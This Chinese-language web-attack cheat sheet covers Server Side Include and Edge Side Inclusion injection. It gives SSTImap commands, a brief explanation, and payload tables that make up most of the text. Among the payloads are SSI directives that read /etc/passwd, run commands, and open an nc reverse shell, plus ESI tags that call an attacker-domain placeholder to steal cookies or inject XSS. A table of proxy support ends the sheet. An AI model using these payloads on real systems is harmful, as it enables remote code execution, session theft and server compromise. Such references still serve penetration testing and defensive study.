服务端包含注入 (Server Side Include Injection)
服务端包含 (SSI) 是放置在 HTML 页面中的指令,在页面被服务器处理时执行。它们允许你向现有的 HTML 页面添加动态生成的内容,而无需通过 CGI 程序或其他动态技术来处理整个页面。
摘要 (Summary)
工具 (Tools)
- vladko312/SSTImap - 基于 epinna/tplmap 改进的具有交互界面的自动 SSTI 检测工具,支持使用
--legacy或-e SSI参数进行 SSI 的检测与利用。
python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s
python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI
python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'
方法论 (Methodology)
当攻击者能够将服务端包含指令输入到 Web 应用程序中时,就会发生 SSI 注入。SSI 是可以包含文件、执行命令或打印环境变量/属性的指令。如果 SSI 上下文中的用户输入未经过适当的清洗,该输入就可能被用来操纵服务器端的行为、访问敏感信息或执行系统命令。
SSI 格式:<!--#指令 参数="值" -->
| 描述 (Description) | 攻击载荷 (Payload) |
|---|---|
| 打印当前日期 | <!--#echo var="DATE_LOCAL" --> |
| 打印文档名称 | <!--#echo var="DOCUMENT_NAME" --> |
| 打印所有环境变量 | <!--#printenv --> |
| 设置变量 | <!--#set var="name" value="Rich" --> |
| 包含文件 (本地路径) | <!--#include file="/etc/passwd" --> |
| 包含文件 (虚拟路径) | <!--#include virtual="/index.html" --> |
| 执行系统命令 | <!--#exec cmd="ls" --> |
| 反弹 Shell | <!--#exec cmd="mkfifo /tmp/f;nc IP 端口 0</tmp/f\|/bin/bash 1>/tmp/f;rm /tmp/f" --> |
边缘侧包含 (Edge Side Inclusion)
HTTP 代理(Surrogates)无法区分来自上游服务器的真实 ESI 标签和嵌入在 HTTP 响应中的恶意标签。这意味着,如果攻击者能够成功地在 HTTP 响应中注入 ESI 标签,代理将会毫无疑问地处理并解析它们,并认为这些标签是来自上游服务器的合法指令。
某些代理要求在 Surrogate-Control HTTP 响应头中声明 ESI 处理。
| 描述 (Description) | 攻击载荷 (Payload) |
|---|---|
| 盲检测 (OOB) | <esi:include src=http://攻击者域名.com> |
| XSS 攻击 | <esi:include src=http://攻击者域名.com/XSS载荷.html> |
| Cookie 窃取器 | <esi:include src=http://攻击者域名.com/?cookie_stealer.php?=$(HTTP_COOKIE)> |
| 包含敏感文件 | <esi:include src="supersecret.txt"> |
| 显示调试信息 | <esi:debug/> |
| 添加自定义响应头 | <!--esi $add_header('Location','http://攻击者域名.com') --> |
| 内联片段注入 | <esi:inline name="/attack.html" fetchable="yes"><script>prompt('XSS')</script></esi:inline> |
| 软件 (Software) | 包含 (Includes) | 变量 (Vars) | Cookies | 需要上游响应头 | 主机白名单 |
|---|---|---|---|---|---|
| Squid3 | 支持 | 支持 | 支持 | 是 | 否 |
| Varnish Cache | 支持 | 不支持 | 不支持 | 是 | 是 |
| Fastly | 支持 | 不支持 | 不支持 | 否 | 是 |
| Akamai ETS | 支持 | 支持 | 支持 | 否 | 否 |
| NodeJS' esi | 支持 | 支持 | 支持 | 否 | 否 |
| NodeJS' nodesi | 支持 | 不支持 | 不支持 | 否 | 可选 |